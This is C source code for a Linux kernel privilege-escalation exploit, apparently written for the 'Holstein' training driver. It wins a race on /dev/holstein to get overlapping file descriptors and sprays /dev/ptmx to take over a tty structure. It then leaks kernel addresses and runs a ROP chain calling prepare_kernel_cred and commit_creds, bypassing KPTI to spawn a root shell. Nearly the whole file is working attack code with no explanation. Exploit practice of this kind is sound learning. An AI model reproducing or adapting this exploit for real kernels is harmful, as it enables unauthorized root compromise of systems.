1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224
| #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <pthread.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <sys/types.h> #include <sched.h>
unsigned long kbase, g_buf, current; unsigned long user_cs, user_ss, user_rsp, user_rflags;
#define ofs_tty_ops 0xc3afe0 #define rop_push_rdx_add_prbxP41h_bl_pop_rsp_pop_rbp (kbase + 0x137da6) #define rop_pop_rdi (kbase + 0x0b13c5) #define rop_pop_rcx_rbx_rbp (kbase + 0x3006fc) #define rop_mov_rdi_rax_rep_movsq (kbase + 0x65094b) #define rop_bypass_kpti (kbase + 0x800e26) #define addr_commit_creds (kbase + 0x0723e0) #define addr_prepare_kernel_cred (kbase + 0x072580)
static void win() { char *argv[] = { "/bin/sh", NULL }; char *envp[] = { NULL }; write(1, "[+] win!\n", 9); execve("/bin/sh", argv, envp); }
static void save_state() { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags) : : "memory"); }
void fatal(const char *msg) { perror(msg); exit(1); }
pid_t gettid(void) { return syscall(SYS_gettid); }
int race_win = 0; int fd1, fd2;
void* race(void *arg) { cpu_set_t *cpu_set = (cpu_set_t*)arg; if (sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set)) fatal("sched_setaffinity");
while (1) { while (!race_win) { int fd = open("/dev/holstein", O_RDWR); if (fd == fd2) race_win = 1; if (race_win == 0 && fd != -1) close(fd); }
if (write(fd1, "A", 1) != 1 || write(fd2, "A", 1) != 1) { close(fd1); close(fd2); race_win = 0; } else { puts("[+] race win!"); break; } usleep(1000); }
return NULL; }
void* spray_thread(void *arg) { cpu_set_t *cpu_set = (cpu_set_t*)arg; if (sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set)) fatal("sched_setaffinity");
long x; long spray[800];
for (int i = 0; i < 800; i++) { usleep(10); spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); if (spray[i] == -1) { for (int j = 0; j < i; j++) close(spray[j]); return (void*)-1; }
if (read(fd2, &x, sizeof(long)) == sizeof(long) && x) { for (int j = 0; j < i; j++) close(spray[j]); return (void*)spray[i]; } }
for (int i = 0; i < 800; i++) close(spray[i]); return (void*)-1; }
int create_overlapped() { pthread_t th1, th2; char buf[0x10] = {}; cpu_set_t t1_cpu, t2_cpu;
CPU_ZERO(&t1_cpu); CPU_ZERO(&t2_cpu); CPU_SET(0, &t1_cpu); CPU_SET(1, &t2_cpu);
fd1 = open("/tmp", O_RDONLY); fd2 = open("/tmp", O_RDONLY); close(fd1); close(fd2); printf("[+] next fds: %d, %d\n", fd1, fd2);
pthread_create(&th1, NULL, race, (void*)&t1_cpu); pthread_create(&th2, NULL, race, (void*)&t2_cpu); pthread_join(th1, NULL); pthread_join(th2, NULL);
write(fd1, "Hello, World!", 14); read(fd2, buf, 14); if (strcmp(buf, "Hello, World!") != 0) { puts("[-] Bad luck!"); exit(1); } memset(buf, 0, 14); write(fd1, buf, 14);
close(fd1);
long victim_fd = -1; victim_fd = (long)spray_thread((void*)&t1_cpu); while (victim_fd == -1) { puts("[+] spraying on another CPU..."); pthread_create(&th1, NULL, spray_thread, (void*)&t2_cpu); pthread_join(th1, (void*)&victim_fd); }
printf("[+] overlap OK: victim=%d\n", (int)victim_fd); return victim_fd; }
int main() { char buf[0x400] = {};
save_state();
create_overlapped();
read(fd2, buf, 0x400); kbase = *(unsigned long*)&buf[0x18] - ofs_tty_ops; g_buf = *(unsigned long*)&buf[0x38] - 0x38; if (kbase & 0xfff) { puts("[-] Invalid leak! Fixing address..."); kbase += 0x120; } printf("kbase = 0x%016lx\n", kbase); printf("g_buf = 0x%016lx\n", g_buf);
unsigned long *chain = (unsigned long*)&buf; *chain++ = rop_pop_rdi; *chain++ = 0; *chain++ = addr_prepare_kernel_cred; *chain++ = rop_pop_rcx_rbx_rbp; *chain++ = 0; *chain++ = 0; *chain++ = 0; *chain++ = rop_mov_rdi_rax_rep_movsq; *chain++ = addr_commit_creds; *chain++ = rop_bypass_kpti; *chain++ = 0xdeadbeef; *chain++ = 0xdeadbeef; *chain++ = (unsigned long)&win; *chain++ = user_cs; *chain++ = user_rflags; *chain++ = user_rsp; *chain++ = user_ss; *(unsigned long*)&buf[0x3f8] = rop_push_rdx_add_prbxP41h_bl_pop_rsp_pop_rbp; write(fd2, buf, 0x400);
int victim_ptmx = create_overlapped();
read(fd2, buf, 0x20); *(unsigned long*)&buf[0x18] = g_buf + 0x3f8 - 12*8; write(fd2, buf, 0x20);
ioctl(victim_ptmx, 0, g_buf - 8); puts("[-] Exploit failed...");
return 0; }
|